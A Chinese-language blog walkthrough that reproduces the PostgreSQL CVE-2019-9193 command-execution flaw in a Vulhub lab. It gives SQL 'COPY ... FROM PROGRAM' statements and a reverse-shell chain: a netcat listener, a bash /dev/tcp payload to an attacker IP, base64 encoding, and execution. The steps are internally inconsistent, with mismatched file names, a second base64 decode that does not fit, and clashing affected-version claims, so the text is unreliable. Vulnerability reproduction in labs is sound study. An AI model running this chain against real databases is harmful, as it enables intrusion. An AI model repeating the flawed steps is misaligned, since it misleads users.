大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
今天更新的是:
- P7 利用Vulhub复现漏洞 -PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
- 往期检索:程序设计学习笔记——目录
创建时间:2021年3月29日
软件: kali 2020.4 、Burp Suite Pro 、火狐浏览器 、Vulhub靶机
PostgreSQL 高权限命令执行漏洞
Vulhub 复现
漏洞原理
- PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
- 普通用户连接到数据库—>注入危险代码—>等待超级用户登录触发后门—>收到敏感信息
- 影响版本:PostgreSQL < 10
环境准备
- 打开漏洞存放路径:
cd /home/vulhub/vulhub/postgres/CVE-2019-9193/
- 搭建及运行漏洞环境:
docker-compose up -d
- 环境启动后,将开启Postgres默认的
5432端口
,默认账号密码为postgres/postgres
。
- 在
kali
上登录PostgreSQL
psql --host IP地址 -p 5432 -U postgres
- 执行如下语句,FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中:
# 删除并创建用于保存系统命令执行结果的表
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
# 命令执行测试,多试几条
COPY cmd_exec FROM PROGRAM 'id';
COPY cmd_exec FROM PROGRAM 'whoami';
# 查看结果
SELECT * FROM cmd_exec;
漏洞利用(提权、反弹shell)
- 尝试
shell
一下
# attack机器上开启监听
nc -lvnp 8888
# 利用pg执行远程连接命令
COPY cmd_exec FROM PROGRAM 'bash -i >& /dev/tcp/attack_ip/8888 0>&1';
- 发现
找不到执行文件或者命令脚本的路径
- 我们来尝试将命令进行转码:
echo 'bash -i >& /dev/tcp/192.168.244.134/8888 0>&1'|base64
IP地址是攻击机的
- 重构payload:
COPY cmd_exec FROM PROGRAM "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMzQvODg4OCAwPiYxCg=='> /tmp/huang.txt";
- 进入容器里面查看一下是否存在我们刚才上传的文件
- 查看我们想要进入的容器:
docker ps
- 进入我们刚才上传的文件夹查看我们上传的文件是否存在
cd /tmp/
- 将我们上传的文件
base64
转换成明文、写入文件xiaophuang1.txt
COPY cmd_exec FROM PROGRAM 'cat /tmp/xiaohuang.txt |base64 -d > /tmp/xiaohuang1.txt'; 成功。
COPY cmd_exec FROM PROGRAM 'cat /tmp/xiaohuang1.txt |base64 -d > /tmp/xiaohuang2.txt';
COPY cmd_exec FROM PROGRAM 'bash /tmp/xiaohuang2.txt';
- 监听成功
走过路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。
每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
把握现在 ,展望未来 ,加油 !
由于水平有限 ,写的难免会有些不足之处 ,恳请各位大佬不吝赐教 !